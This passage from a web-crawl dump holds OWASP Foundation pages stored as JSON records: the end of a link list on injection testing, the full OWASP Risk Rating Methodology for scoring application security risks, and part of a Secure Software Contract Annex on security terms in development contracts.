Injection](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection)\n - [Testing for Format String Injection](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/13-Testing_for_Format_String_Injection)\n - [Testing for Host Header Injection](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection)\n - [Testing for Server-Side Template Injection](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection)\n - [Testing for HTML Injection](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/03-Testing_for_HTML_Injection)\n - [Testing for CSS Injection](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/05-Testing_for_CSS_Injection)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 10159, "slov": 1217, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:15:45", "sha256": "e4bba26d1c606a5cb8cee6e932c9e3ebb89dd2c61efa48e103e3047ca900764a", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html", "http://erlend.oftedal.no/blog/?blogid=110", "https://github.com/swisskyrepo/PayloadsAllTheThings", "https://portswigger.net/research/server-side-template-injection", "https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/OWASP_Risk_Rating_Methodology", "titulek": "OWASP Risk Rating Methodology | OWASP Foundation", "h1": "OWASP Risk Rating Methodology", "popis": "OWASP Risk Rating Methodology on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/OWASP_Risk_Rating_Methodology", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP Risk Rating Methodology on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Risk Rating Methodology | OWASP Foundation", "og:url": "https://community.owasp.org/OWASP_Risk_Rating_Methodology", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Risk Rating Methodology"}, {"uroven": 1, "text": "DISCLAIMER"}, {"uroven": 1, "text": "Introduction"}, {"uroven": 2, "text": "Approach"}, {"uroven": 3, "text": "Step 1: Identifying a Risk"}, {"uroven": 3, "text": "Step 2: Factors for Estimating Likelihood"}, {"uroven": 4, "text": "Threat Agent Factors"}, {"uroven": 4, "text": "Vulnerability Factors"}, {"uroven": 3, "text": "Step 3: Factors for Estimating Impact"}, {"uroven": 4, "text": "Technical Impact Factors"}, {"uroven": 4, "text": "Business Impact Factors"}, {"uroven": 3, "text": "Step 4: Determining the Severity of the Risk"}, {"uroven": 4, "text": "Informal Method"}, {"uroven": 4, "text": "Repeatable Method"}, {"uroven": 4, "text": "Determining Severity"}, {"uroven": 3, "text": "Step 5: Deciding What to Fix"}, {"uroven": 3, "text": "Step 6: Customizing the Risk Rating Model"}, {"uroven": 4, "text": "Adding factors"}, {"uroven": 4, "text": "Customizing options"}, {"uroven": 4, "text": "Weighting factors"}, {"uroven": 2, "text": "References"}], "markdown": "# OWASP Risk Rating Methodology\n\n# DISCLAIMER\n\nOver the years there has be lots of [debate](/misc/rrm_debate) about the OWASP Risk Rating Methodology and the weighting of Threat Actor Skill levels.\nThere are other more mature, popular, or well established Risk Rating Methodologies that can be followed:\n\n- [NIST 800-30 - Guide for Conducting Risk Assessments](https://csrc.nist.gov/publications/detail/sp/800-30/rev-1/final)\n- [Government of Canada - Harmonized TRA Methodology](https://cyber.gc.ca/en/guidance/harmonized-tra-methodology-tra-1)\n- Mozilla resources:\n - [Risk Assessment Summary](https://infosec.mozilla.org/guidelines/assessing_security_risk)\n - [Rapid Risk Assessment (RRA)](https://infosec.mozilla.org/guidelines/risk/rapid_risk_assessment.html)\n\nAlternatively you may with the review information about Threat Modeling, as that may be a better fit for your app or organization:\n\n- [OWASP Threat Modeling Project](https://owasp.org/www-project-threat-modeling/)\n- [OWASP pytm](https://owasp.org/www-project-pytm/) Pythonic framework for threat modeling\n- [OWASP Threat Dragon](https://owasp.org/www-project-threat-dragon/) threat modeling tool\n\nLastly you might want to refer to the references below.\n\n**Note**: Edits/Pull Requests to the content below that deal with changes to Threat Actor Skill will not be accepted.\n\n---\n\n**Author:** Jeff Williams\n\n# Introduction\n\nDiscovering vulnerabilities is important, but being able to estimate the associated risk to the business \nis just as important. Early in the life cycle, one may identify security concerns in the architecture or \ndesign by using [threat modeling](Threat_Modeling). Later, one may find \nsecurity issues using [code review](https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project) \nor [penetration testing](https://owasp.org/www-project-web-security-testing-guide/). Or problems may not \nbe discovered until the application is in production and is actually compromised.\n\nBy following the approach here, it is possible to estimate the severity of all of these risks to the \nbusiness and make an informed decision about what to do about those risks. Having a system in place \nfor rating risks will save time and eliminate arguing about priorities. This system will help to ensure \nthat the business doesn’t get distracted by minor risks while ignoring more serious risks that are less \nwell understood.\n\nIdeally, there would be a universal risk rating system that would accurately estimate all risks for all \norganizations. But a vulnerability that is critical to one organization may not be very important to \nanother. So a basic framework is presented here that should be ‘‘customized’’ for the particular \norganization.\n\nThe authors have tried hard to make this model simple to use, while keeping enough detail for accurate \nrisk estimates to be made. Please reference the section below on customization for more information about \ntailoring the model for use in a specific organization.\n\n## Approach\n\nThere are many different approaches to risk analysis. See the reference section below for some of the \nmost common ones. The OWASP approach presented here is based on these standard methodologies and is \ncustomized for application security.\n\nLet’s start with the standard risk model:\n\n- **Risk = Likelihood * Impact**\n\nIn the sections below, the factors that make up “likelihood” and “impact” for application security are \nbroken down. The tester is shown how to combine them to determine the overall severity for the risk.\n\n```\n Step 1: Identifying a Risk\n Step 2: Factors for Estimating Likelihood\n Step 3: Factors for Estimating Impact\n Step 4: Determining Severity of the Risk\n Step 5: Deciding What to Fix\n Step 6: Customizing Your Risk Rating Model\n```\n\n### Step 1: Identifying a Risk\n\nThe first step is to identify a security risk that needs to be rated. The tester needs to gather \ninformation about the threat agent involved, the attack that will be used, the vulnerability\ninvolved, and the impact of a successful exploit on the business. There may be multiple possible \ngroups of attackers, or even multiple possible business impacts. In general, it’s best to err on the \nside of caution by using the worst-case option, as that will result in the highest overall risk.\n\n### Step 2: Factors for Estimating Likelihood\n\nOnce the tester has identified a potential risk and wants to figure out how serious it is, the first \nstep is to estimate the “likelihood”. At the highest level, this is a rough measure of how likely this \nparticular vulnerability is to be uncovered and exploited by an attacker. It is not necessary to be \nover-precise in this estimate. Generally, identifying whether the likelihood is low, medium, or high \nis sufficient.\n\nThere are a number of factors that can help determine the likelihood. The first set of factors are \nrelated to the threat agent involved. The goal is to estimate the likelihood of a successful attack \nfrom a group of possible attackers. Note that there may be multiple threat agents that can exploit a \nparticular vulnerability, so it’s usually best to use the worst-case scenario. For example, an insider \nmay be a much more likely attacker than an anonymous outsider, but it depends on a number of factors.\n\nNote that each factor has a set of options, and each option has a likelihood rating from 0 to 9 \nassociated with it. These numbers will be used later to estimate the overall likelihood.\n\n#### Threat Agent Factors\n\nThe first set of factors are related to the threat agent involved. The goal here is to estimate \nthe likelihood of a successful attack by this group of threat agents. Use the worst-case threat agent.\n\n- **Skill Level** - How technically skilled is this group of threat agents? No technical skills (1), some technical skills (3), advanced computer user (5), network and programming skills (6), security penetration skills (9)\n- **Motive** - How motivated is this group of threat agents to find and exploit this vulnerability? Low or no reward (1), possible reward (4), high reward (9)\n- **Opportunity** - What resources and opportunities are required for this group of threat agents to find and exploit this vulnerability? Full access or expensive resources required (0), special access or resources required (4), some access or resources required (7), no access or resources required (9)\n- **Size** - How large is this group of threat agents? Developers (2), system administrators (2), intranet users (4), partners (5), authenticated users (6), anonymous Internet users (9)\n\n#### Vulnerability Factors\n\nThe next set of factors are related to the vulnerability involved. The goal here is to estimate the \nlikelihood of the particular vulnerability involved being discovered and exploited. Assume the threat \nagent selected above.\n\n- **Ease of Discovery** - How easy is it for this group of threat agents to discover this vulnerability? Practically impossible (1), difficult (3), easy (7), automated tools available (9)\n- **Ease of Exploit** - How easy is it for this group of threat agents to actually exploit this vulnerability? Theoretical (1), difficult (3), easy (5), automated tools available (9)\n- **Awareness** - How well known is this vulnerability to this group of threat agents? Unknown (1), hidden (4), obvious (6), public knowledge (9)\n- **Intrusion Detection** - How likely is an exploit to be detected? Active detection in application (1), logged and reviewed (3), logged without review (8), not logged (9)\n\n### Step 3: Factors for Estimating Impact\n\nWhen considering the impact of a successful attack, it’s important to realize that there are \ntwo kinds of impacts. The first is the “technical impact” on the application, the data it uses, \nand the functions it provides. The other is the “business impact” on the business and company \noperating the application.\n\nUltimately, the business impact is more important. However, you may not have access to all the \ninformation required to figure out the business consequences of a successful exploit. In this \ncase, providing as much detail about the technical risk will enable the appropriate business \nrepresentative to make a decision about the business risk.\n\nAgain, each factor has a set of options, and each option has an impact rating from 0 to 9 associated with it. We’ll use these numbers later to estimate the overall impact.\n\n#### Technical Impact Factors\n\nTechnical impact can be broken down into factors aligned with the traditional security areas \nof concern: confidentiality, integrity, availability, and accountability. The goal is to estimate \nthe magnitude of the impact on the system if the vulnerability were to be exploited.\n\n- **Loss of Confidentiality** - How much data could be disclosed and how sensitive is it? Minimal non-sensitive data disclosed (2), minimal critical data disclosed (6), extensive non-sensitive data disclosed (6), extensive critical data disclosed (7), all data disclosed (9)\n- **Loss of Integrity** - How much data could be corrupted and how damaged is it? Minimal slightly corrupt data (1), minimal seriously corrupt data (3), extensive slightly corrupt data (5), extensive seriously corrupt data (7), all data totally corrupt (9)\n- **Loss of Availability** - How much service could be lost and how vital is it? Minimal secondary services interrupted (1), minimal primary services interrupted (5), extensive secondary services interrupted (5), extensive primary services interrupted (7), all services completely lost (9)\n- **Loss of Accountability** - Are the threat agents’ actions traceable to an individual? Fully traceable (1), possibly traceable (7), completely anonymous (9)\n\n#### Business Impact Factors\n\nThe business impact stems from the technical impact, but requires a deep understanding of what is \nimportant to the company running the application. In general, you should be aiming to support your \nrisks with business impact, particularly if your audience is executive level. The business risk is \nwhat justifies investment in fixing security problems.\n\nMany companies have an asset classification guide and/or a business impact reference to help formalize \nwhat is important to their business. These standards can help you focus on what’s truly important for \nsecurity. If these aren’t available, then it is necessary to talk with people who understand the \nbusiness to get their take on what’s important.\n\nThe factors below are common areas for many businesses, but this area is even more unique to a company \nthan the factors related to threat agent, vulnerability, and technical impact.\n\n- **Financial damage** - How much financial damage will result from an exploit? Less than the cost to fix the vulnerability (1), minor effect on annual profit (3), significant effect on annual profit (7), bankruptcy (9)\n- **Reputation damage** - Would an exploit result in reputation damage that would harm the business? Minimal damage (1), Loss of major accounts (4), loss of goodwill (5), brand damage (9)\n- **Non-compliance** - How much exposure does non-compliance introduce? Minor violation (2), clear violation (5), high profile violation (7)\n- **Privacy violation** - How much personally identifiable information could be disclosed? One individual (3), hundreds of people (5), thousands of people (7), millions of people (9)\n\n### Step 4: Determining the Severity of the Risk\n\nIn this step, the likelihood estimate and the impact estimate are put together to calculate an overall \nseverity for this risk. This is done by figuring out whether the likelihood is low, medium, or high \nand then do the same for impact. The 0 to 9 scale is split into three parts:\n\n| Likelihood and Impact Levels | |\n| --- | --- |\n| 0 to <3 | LOW |\n| 3 to <6 | MEDIUM |\n| 6 to 9 | HIGH |\n\n#### Informal Method\n\nIn many environments, there is nothing wrong with reviewing the factors and simply capturing the answers. \nThe tester should think through the factors and identify the key “driving” factors that are controlling \nthe result. The tester may discover that their initial impression was wrong by considering aspects of the \nrisk that weren’t obvious.\n\n#### Repeatable Method\n\nIf it is necessary to defend the ratings or make them repeatable, then it is necessary to go through a \nmore formal process of rating the factors and calculating the result. Remember that there is quite a \nlot of uncertainty in these estimates and that these factors are intended to help the tester arrive \nat a sensible result. This process can be supported by automated tools to make the calculation easier.\n\nThe first step is to select one of the options associated with each factor and enter the associated \nnumber in the table. Then simply take the average of the scores to calculate the overall likelihood. \nFor example:\n\n| '''Threat agent factors''' | | '''Vulnerability factors''' | | | | | | |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| Skill level | Motive | Opportunity | Size | | Ease of discovery | Ease of exploit | Awareness | Intrusion detection |\n| 5 | 2 | 7 | 1 | | 3 | 6 | 9 | 2 |\n| Overall likelihood=4.375 (MEDIUM) | | | | | | | | |\n\nNext, the tester needs to figure out the overall impact. The process is similar here. In many cases the \nanswer will be obvious, but the tester can make an estimate based on the factors, or they can average \nthe scores for each of the factors. Again, less than 3 is low, 3 to less than 6 is medium, and 6 to 9 \nis high. For example:\n\n| Technical Impact | | Business Impact | | | | | | |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| Loss of confidentiality | Loss of integrity | Loss of availability | Loss of accountability | | Financial damage | Reputation damage | Non-compliance | Privacy violation |\n| 9 | 7 | 5 | 8 | | 1 | 2 | 1 | 5 |\n| Overall technical impact=7.25 (HIGH) | | Overall business impact=2.25 (LOW) | | | | | | |\n\n#### Determining Severity\n\nHowever the tester arrives at the likelihood and impact estimates, they can now combine them to get \na final severity rating for this risk. Note that if they have good business impact information, they \nshould use that instead of the technical impact information. But if they have no information about \nthe business, then technical impact is the next best thing.\n\n| Overall Risk Severity | | | | |\n| --- | --- | --- | --- | --- |\n| Impact | HIGH | Medium | High | Critical |\n| MEDIUM | Low | Medium | High | |\n| LOW | Note | Low | Medium | |\n| | LOW | MEDIUM | HIGH | |\n| | Likelihood | | | |\n\nIn the example above, the likelihood is medium and the technical impact is high, so from a purely \ntechnical perspective it appears that the overall severity is high. However, note that the business \nimpact is actually low, so the overall severity is best described as low as well. This is why \nunderstanding the business context of the vulnerabilities you are evaluating is so critical to making \ngood risk decisions. Failure to understand this context can lead to the lack of trust between the \nbusiness and security teams that is present in many organizations.\n\n### Step 5: Deciding What to Fix\n\nAfter the risks to the application have been classified, there will be a prioritized list of what to \nfix. As a general rule, the most severe risks should be fixed first. It simply doesn’t help the overall \nrisk profile to fix less important risks, even if they’re easy or cheap to fix.\n\nRemember that not all risks are worth fixing, and some loss is not only expected, but justifiable based \nupon the cost of fixing the issue. For example, if it would cost $100,000 to implement controls to stem \n$2,000 of fraud per year, it would take 50 years return on investment to stamp out the loss. But \nremember there may be reputation damage from the fraud that could cost the organization much more.\n\n### Step 6: Customizing the Risk Rating Model\n\nHaving a risk ranking framework that is customizable for a business is critical for adoption. A tailored \nmodel is much more likely to produce results that match people’s perceptions about what is a serious risk. \nA lot of time can be wasted arguing about the risk ratings if they are not supported by a model like this. \nThere are several ways to tailor this model for the organization.\n\n#### Adding factors\n\nThe tester can choose different factors that better represent what’s important for the specific organization. \nFor example, a military application might add impact factors related to loss of human life or classified \ninformation. The tester might also add likelihood factors, such as the window of opportunity for an attacker \nor encryption algorithm strength.\n\n#### Customizing options\n\nThere are some sample options associated with each factor, but the model will be much more effective if the \ntester customizes these options to the business. For example, use the names of the different teams and the \ncompany names for different classifications of information. The tester can also change the scores associated \nwith the options. The best way to identify the right scores is to compare the ratings produced by the model \nwith ratings produced by a team of experts. You can tune the model by carefully adjusting the scores to match.\n\n#### Weighting factors\n\nThe model above assumes that all the factors are equally important. You can weight the factors to emphasize \nthe factors that are more significant for the specific business. This makes the model a bit more complex, as \nthe tester needs to use a weighted average. But otherwise everything works the same. Again it is possible to \ntune the model by matching it against risk ratings the business agrees are accurate.\n\n## References\n\n- [Managing Information Security Risk: Organization, Mission, and Information System View](https://csrc.nist.gov/publications/detail/sp/800-39/final)\n- [Industry standard vulnerability severity and risk rankings (CVSS)](https://www.first.org/cvss/)\n- [Threat Modeling Web Applications](https://docs.microsoft.com/en-us/previous-versions/msp-n-p/ff648006(v=pandp.10))\n- [Threat Modeling](Threat_Modeling)\n- [A Platform for Risk Analysis of Security Critical Systems](https://sourceforge.net/projects/coras/)\n- [Model-driven Development and Analysis of Secure Information Systems](http://heim.ifi.uio.no/~ketils/securis/)\n- [Value Driven Security Threat Modeling Based on Attack Path Analysis](https://ieeexplore.ieee.org/document/4076949)\n- [Risk Rating Template Example in MS Excel](https://wiki.owasp.org/index.php/File:OWASP_Risk_Rating_Template_Example.xlsx)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 17945, "slov": 2728, "odkazu": 42, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:26", "sha256": "a001695a71771e44352e1bdf7f6363834f5f11f5da7a279299c54ea6314a5846", "hloubka": 0, "zdroj_objevu": "seed", "ze_seznamu": true, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://csrc.nist.gov/publications/detail/sp/800-30/rev-1/final", "https://cyber.gc.ca/en/guidance/harmonized-tra-methodology-tra-1", "https://infosec.mozilla.org/guidelines/assessing_security_risk", "https://infosec.mozilla.org/guidelines/risk/rapid_risk_assessment.html", "https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://csrc.nist.gov/publications/detail/sp/800-39/final", "https://www.first.org/cvss/", "https://docs.microsoft.com/en-us/previous-versions/msp-n-p/ff648006(v=pandp.10)", "https://sourceforge.net/projects/coras/", "http://heim.ifi.uio.no/~ketils/securis/", "https://ieeexplore.ieee.org/document/4076949", "https://wiki.owasp.org/index.php/File:OWASP_Risk_Rating_Template_Example.xlsx", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex", "titulek": "Secure Software Contract Annex | OWASP Foundation", "h1": "Secure Software Contract Annex", "popis": "Secure Software Contract Annex on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/OWASP_Secure_Software_Contract_Annex", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Secure Software Contract Annex on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Secure Software Contract Annex | OWASP Foundation", "og:url": "https://community.owasp.org/OWASP_Secure_Software_Contract_Annex", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Secure Software Contract Annex"}, {"uroven": 2, "text": "INTRODUCTION"}, {"uroven": 2, "text": "ABOUT THE PROJECT"}, {"uroven": 2, "text": "OBJECTIONS"}, {"uroven": 3, "text": "BUT NOT ALL THE TERMS ARE RIGHT FOR US..."}, {"uroven": 3, "text": "BUT WHO SHOULD PAY FOR THESE ACTIVITIES..."}, {"uroven": 3, "text": "BUT THE LEVEL OF RIGOR IS WRONG..."}, {"uroven": 3, "text": "BUT WE CAN’T TAKE SO MUCH RISK..."}, {"uroven": 3, "text": "BUT HOW CAN WE ASSURE THIRD PARTY CODE..."}, {"uroven": 3, "text": "BUT WHY SHOULD I GO TO ALL THIS TROUBLE..."}, {"uroven": 3, "text": "BUT IT’S TOO HARD TO PRODUCE ALL THIS DOCUMENTATION..."}, {"uroven": 2, "text": "CONTRACT ANNEX"}, {"uroven": 3, "text": "1. INTRODUCTION"}, {"uroven": 3, "text": "2. PHILOSOPHY"}, {"uroven": 3, "text": "3. LIFECYCLE ACTIVITIES"}, {"uroven": 3, "text": "4. SECURITY REQUIREMENT AREAS"}, {"uroven": 3, "text": "5. PERSONNEL AND ORGANIZATION"}, {"uroven": 3, "text": "6. DEVELOPMENT ENVIRONMENT"}, {"uroven": 3, "text": "7. LIBRARIES, FRAMEWORKS, AND PRODUCTS"}, {"uroven": 3, "text": "8. SECURITY REVIEWS"}, {"uroven": 3, "text": "9. SECURITY ISSUE MANAGEMENT"}, {"uroven": 3, "text": "10. ASSURANCE"}, {"uroven": 3, "text": "11. SECURITY ACCEPTANCE AND MAINTENANCE"}], "markdown": "# Secure Software Contract Annex\n\n**Author:** Jeff Williams\n\n**SECURE SOFTWARE DEVELOPMENT CONTRACT ANNEX**\n\n` WARNING: THIS DOCUMENT SHOULD BE CONSIDERED GUIDANCE ONLY. OWASP STRONGLY RECOMMENDS THAT YOU CONSULT A QUALIFIED ATTORNEY TO HELP YOU NEGOTIATE A SOFTWARE CONTRACT.`\n\n## INTRODUCTION\n\nThis contract Annex is intended to help software developers and their\nclients negotiate and capture important contractual terms and conditions\nrelated to the security of the software to be developed or delivered.\nThe reason for this project is that most contracts are silent on these\nissues, and the parties frequently have dramatically different views on\nwhat has actually been agreed to. We believe that clearly articulating\nthese terms is the best way to ensure that both parties can make\ninformed decisions about how to proceed.\n\n`\"The security of commercial software will improve when the market demands better security.` `At a minimum, every software request for proposal should ask vendors to detail how they` `test their products for security vulnerabilities. This step will start convincing vendors` `of off-the-shelf software and outsourced developers that enterprises value security.\"`\n` – As John Pescatore, research director with Gartner`\n\nWe urge Clients and Developers to use this document as a framework for\ndiscussing expectations and negotiating responsibilities. This Annex is\nintended to be appended to a software development contract. These terms\nare negotiable, meaning they can and should be discussed by the Client\nand Developer.\n\n## ABOUT THE PROJECT\n\nThis document was created by The Open Worldwide Application Security Project\n(OWASP) Foundation, a not-for-profit charitable organization dedicated\nto creating free and open tools and documentation related to secure\nsoftware. To facilitate easy use in private contracting, this document\nis offered under the CC Share Alike 3.0 license. You may modify and use\nas you see fit. We welcome comment from both producers and consumers of \nsoftware, as well as the legal community.\n\nOWASP gratefully acknowledges the special contribution from Aspect\nSecurity for their role in the research and preparation of this document.\n\n## OBJECTIONS\n\nThe following few pages cover some frequently heard objections to using\nthis language in software development contracts:\n\n### BUT NOT ALL THE TERMS ARE RIGHT FOR US`...`\n\nThis document should be considered a starting point for your agreement.\nYou may not like all the activities, or may want to propose more. You\nmay want to assign responsibilities differently. This document is not\nintended to exactly capture the needs of all software Clients and\nDevelopers. It is intended to provide a framework for discussing the key\ntopics that are important to ensuring that software ends up secure.\nAfter you have a security discussion and reach agreement, you should\ntailor this agreement to match.\n\n### BUT WHO SHOULD PAY FOR THESE ACTIVITIES`...`\n\nThis contract is NOT about putting more burden on the software\ndeveloper. The question is not whether there are costs associated with\nsecurity – of course there are. Rather, the right question is what\nactivities should be performed by both parties to minimize those costs,\nand when should they happen.\n\nThis annex is intentionally silent on the issue of who should pay for\nthe activities described herein. While many of these activities should\nalready be happening, and are expected by many Clients, they are not\nregularly practiced in the software industry. The question of who pays\n(and how much) should be part of the negotiation.\n\nCalculating the costs of security is very difficult. While there are\ncosts associated with performing security activities, there are also\nsignificant costs associated with ignoring them. We are convinced that\nthe most cost-effective way to develop software is to reduce the\nlikelihood that security flaws are introduced and to minimize the time\nbetween introducing a flaw and fixing it.\n\nOne important distinction to make when calculating costs is between\nbuilding security mechanisms and the assurance activities that make sure\nthose mechanisms are correct and effective. Attempting to add mechanisms\nat the end of the lifecycle can cause serious design issues and will\nincrease costs dramatically. This agreement encourages early decisions\non mechanisms to minimize these costs. Similarly, waiting until just\nbefore deployment to do assurance activities, such as code review and\npenetration testing, will also dramatically increase costs. We believe\nthat the most cost-effective way to gain assurance is to put a constant\nlevel of effort into assurance throughout the lifecycle.\n\n### BUT THE LEVEL OF RIGOR IS WRONG`...`\n\nThis agreement assumes that the software being developed is reasonably\nimportant to a large enterprise or government agency. We’ve selected a\n“level of rigor” for the agreement that is achievable by most software\ndevelopment organizations, and will identify and handle the most common\nrisks.\n\nHowever, for software that is going to be used in critical applications,\nsuch as medical, financial, or defense related software, you may want to\nincrease the level of rigor. You may want to add additional reviews,\ndocumentation, and testing activities. You may want to enhance the\nprocesses for finding, diagnosing, and remediating vulnerabilities. For\nless sensitive applications, you may want to reduce or remove\nactivities.\n\n### BUT WE CAN’T TAKE SO MUCH RISK`...`\n\nThis agreement is intended to facilitate discussions about who will take\nthe risk for security vulnerabilities in the software. At one end of the\nspectrum, the Client could take all the risk and the Developer could\ndeliver code with lots of vulnerabilities. At the other extreme, the\nDeveloper could take all the risk and assume responsibility for\ndelivering perfect code. Both of these extremes are unworkable.\n\nCurrently, in this agreement, the Developer takes the risk for problems\nthat were covered in the requirements or should be covered by reasonable\ntesting efforts. But remediation of “novel” security issues is to be\npaid for by the Client. We believe this is a useful balance, as the\nDeveloper can bound their risk, and encourages Client to get the\nsecurity requirements correct up front. But there are many other\npossible solutions to this problem. Please let us know if you have\nalternative suggestions and we may include them in future versions of\nthis document.\n\nNote that the discussion here only covers the risk associated with\nfixing the security vulnerabilities in the code, and does not include\nthe costs associated with recovering from any security incidents based\non any exploits of these vulnerabilities. We are interested in best\npractices in this area.\n\n### BUT HOW CAN WE ASSURE THIRD PARTY CODE`...`\n\nAlmost all software projects use a significant amount of third party\ncode, such as libraries, frameworks, and products. This code is just as\nimportant from a security perspective as custom code developed\nspecifically for your project. We believe that the responsibility for\nensuring the security of this code is best borne by Developer, although\nthey may not have the full capability themselves to guarantee this\nsecurity. However, security must be a part of the “build or buy”\ndecision, and this seems like the best way to encourage that.\n\nDeveloper, of course, has the option of passing this responsibility\nthrough to the providers of third party software. Developer can also\nanalyze the third party code themselves, or hire security experts to\nanalyze it for them.\n\n### BUT WHY SHOULD I GO TO ALL THIS TROUBLE`...`\n\nUltimately, we believe that there is no alternative to making security a\npart of the software contracting process. Currently, we believe that\nthere are serious misunderstandings about the security of code being\ndelivered under many software development contracts. This can only lead\nto expensive litigation and a decision made by individuals with little\nsoftware experience or understanding. Read the [Secure software\ncontracting hypothetical case\nstudy](https://wiki.owasp.org/index.php/Secure_software_contracting_hypothetical_case_study)\nfor a full discussion of this problem.\n\nThere are many benefits to working through this agreement. The principal\none is that it will make expectations clear between the parties\ninvolved. In some cases it will help to prevent lawsuits when difficult\nsecurity problems surface in the software. Also, these are the same\nactivities that are required by many legal and regulatory compliance\nreasons.\n\n### BUT IT’S TOO HARD TO PRODUCE ALL THIS DOCUMENTATION`...`\n\nOWASP does not encourage documentation for documentation’s sake. This\nagreement is focused on encouraging quality, not quantity. We believe\nthat it would be possible (on some projects) to meet this contract with\na short risk assessment, a few pages of requirements, a short security\ndesign document, a test plan, and some test results.\n\nThe goal of this documentation is simply to ensure, at each stage of the\nlifecycle, that appropriate attention has been paid to security. An\nadditional benefit is that this documentation can be collected together\nto form a “certification package” that essentially lays out the argument\nfor why this software should be trusted to do what it claims it does.\n\n## CONTRACT ANNEX\n\n### 1. INTRODUCTION\n\nThis Annex is made to **__****__****__**___\n(“Agreement”) between Client and Developer. Client and Developer agree\nto maximize the security of the software according to the following\nterms.\n\n### 2. PHILOSOPHY\n\nThis Annex is intended to clarify the security-related rights and\nobligations of all the parties to a software development relationship.\nAt the highest level, the parties agree that:\n\n**(a) Security Decisions Will Be Based on Risk** : Decisions about\n security will be made jointly by both Client and Developer based on\n a firm understanding of the risks involved.\n\n**(b) Security Activities Will Be Balanced** : Security effort will be\n roughly evenly distributed across the entire software development\n lifecycle.\n\n**(c) Security Activities Will Be Integrated** : All the activities and\n documentation discussed herein can and should be integrated into\n Developer’s software development lifecycle and not kept separate\n from the rest of the project. Nothing in this Annex implies any\n particular software development process.\n\n**(d) Vulnerabilities Are Expected** : All software has bugs, and some\n of those will create security issues. Both Client and Developer will\n strive to identify vulnerabilities as early as possible in the\n lifecycle.\n\n**(e) Security Information Will Be Fully Disclosed** : All\n security-relevant information will be shared between Client and\n Developer immediately and completely.\n\n**(f) Only Useful Security Documentation Is Required** : Security\n documentation does not need to be extensive in order to clearly\n describe security design, risk analysis, or issues.\n\n### 3. LIFECYCLE ACTIVITIES\n\n**(a) Risk Understanding** : Developer and Client agree to work together\n to understand and document the risks facing the application. This\n effort should identify the key risks to the important assets and\n functions provided by the application. Each of the topics listed in\n the requirements section should be considered.\n\n**(b) Requirements** : Based on the risks, Developer and Client agree to\n work together to create detailed security requirements as a part of\n the specification of the software to be developed. Each of the\n topics listed in the requirements section of this Annex should be\n discussed and evaluated by both Developer and Client. These\n requirements may be satisfied by custom software, third party\n software, or the platform.\n\n**(c) Design** : Developer agrees to provide documentation that clearly\n explains the design for achieving each of the security requirements.\n In most cases, this documentation will describe security mechanisms,\n where the mechanisms fit into the architecture, and all relevant\n design patterns to ensure their proper use. The design should\n clearly specify whether the support comes from custom software,\n third party software, or the 